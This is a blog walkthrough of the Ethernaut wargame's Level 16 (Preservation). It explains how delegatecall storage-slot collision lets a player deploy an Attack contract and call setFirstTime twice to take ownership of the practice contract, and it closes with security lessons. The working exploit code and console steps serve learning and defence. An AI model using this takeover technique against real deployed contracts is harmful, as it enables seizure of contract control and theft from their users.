Ethernaut Walkthrough — Level 16: Preservation

Published on Jan 21, 2022

Just like in all the previous walkthroughs I wrote up for Ethernaut, I try to come up with my own solution to the posed security problems and you should try to do the same, it's the only way to learn.

However, sometimes it's handy or even necessary to take a look at other solutions to know what to look for. For this level, I ended up reading this solution first but after that I returned to Remix in order to cook up my own solution. That way, you'll have several options to go by and come up with your own unique attack. Let's dive in.

Level 16 again uses the somewhat dangerous method delegatecall() which we also used in level 6. Just to re-cap, here is what we should remember about this method.

  • delegatecall() is a method that can be used to call functions on another contract while preserving the data context of the calling contract
  • this can be handy if you want to use a contract as a library you can re-use and call whenever you need it
  • that means that if we can find a way to use our own malicious contract as a library that gets called by delegatecall(), we can manipulate the data of the calling contract, especially the value of owner

This is also a good time to take another look at Level 12, where we learned a lot about how Solidity stores its data in slots. If you don't remember how the 32 bytes slots are being used, please re-read my solution to that level first. This level combines what we know about delegatecall() with what we learned about data storage.

Setting the scene

Take a look at the Preservation contract we are given and the location of the owner variable in that contract. The storage slot we need to manipulate is slot number 2.

address public timeZone1Library; // slot 0
address public timeZone2Library; // slot 1
address public owner; // slot 2
uint storedTime; // slot 3

The following image shows the storage slots in a more visual way. This time it's actually pretty straightforward since all variables are 256 bits or 32 bytes long and each one takes up a full storage slot.

When the level gets instantiated, the following will happen.

  1. the LibraryContract will be deployed to addresses X and Y
  2. the Preservation contract wil be deployed to address Z
  3. the Preservation constructor will be executed with addresses X and Y in order to set the timeZone1Library and timeZone2Library addressses

What we need to do is deploy our own Attack contract that contains the same function signature as the original LibraryContract and has a data structure that will allow us to manipulate the third slot or owner variable from the original contract. The only way to do so is to make sure that our Attack contract gets called via a delegatecall() method from the original contract instead of the LibraryContract.

Let's not get ahead of ourselves and first create and deploy our deploy contract. I wrote the following contract on Remix, making sure to use the exact same function as the original Library while making sure we have a data structure that will overwrite the third (slot #2) data slot.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
contract Attack {
    // make sure to create a data structure that targets slot 2
    address public timeZone1Library; // slot 0
    address public timeZone2Library; // slot 1
    uint storedTime; // slot 2
    address public owner; 

    // make sure the function signature is identical to the original
    function setTime(uint _time) public {
        storedTime = _time;
    }
}

The setTime() function will receive some data, which will be entered in storage slot#2. If you compare that to the screenshot above, you'll see that this will correspond with the owner variable of the original contract. Deploy the contract to Rinkeby and take note of the address. Mine is deployed at 0xcF382718A58AB76D6fC69a5CED8D20de179ee671.

In the Ethernaut console, we can now call the setFirstTime or setSecondTime method with our own Attack address as a parameter. It doesn't really matter which of the two methods we call because they will both execute the delegatecall() method that will access the LibraryContract and update the first data slot at index 0. That means that no matter which of the two functions we call, the address timeZone1Library will be updated with whatever we passed as a parameter.

// in the Ethernaut console
contract.setFirstTime("0xcF382718A58AB76D6fC69a5CED8D20de179ee671");

We can check if this worked, by reading out the public variable named timeZone1Library as follows via the console.

// in the Ethernaut console
(await contract.timeZone1Library()).toString();
// '0xcF382718A58AB76D6fC69a5CED8D20de179ee671'

Now we can finish the attack by calling the setFirstTime() method again but this time we'll pass our own ETH address that will become the owner of the contract. The setFirstTime() method will delegate a call to our Attack contract because we have updates the address to the called contract in the previous step. Because our own contract updates the third storage slot at index 2, the owner will be set to whatever we pass as a parameter to the setFirstTime() method.

// in the Ethernaut console
contract.setFirstTime("0x2E5090E6f147B84Aa6bBe6483acD3AfBedECCdDB");

Now we can verify if the owner was changed.

(await contract.owner()).toString();
// '0x2E5090E6f147B84Aa6bBe6483acD3AfBedECCdDB'

Bingo Bango.

Security lessons learned

  • be cautious when using delegatecall() and always remember that this will preserve the context of your calling contract
  • a method you call via delegatecall() should not manipulate any data
No comments? But that’s like a Gin & Tonic without the ice?

I’ve removed the comments but you can shoot me a message on LinkedIn to keep the conversation going.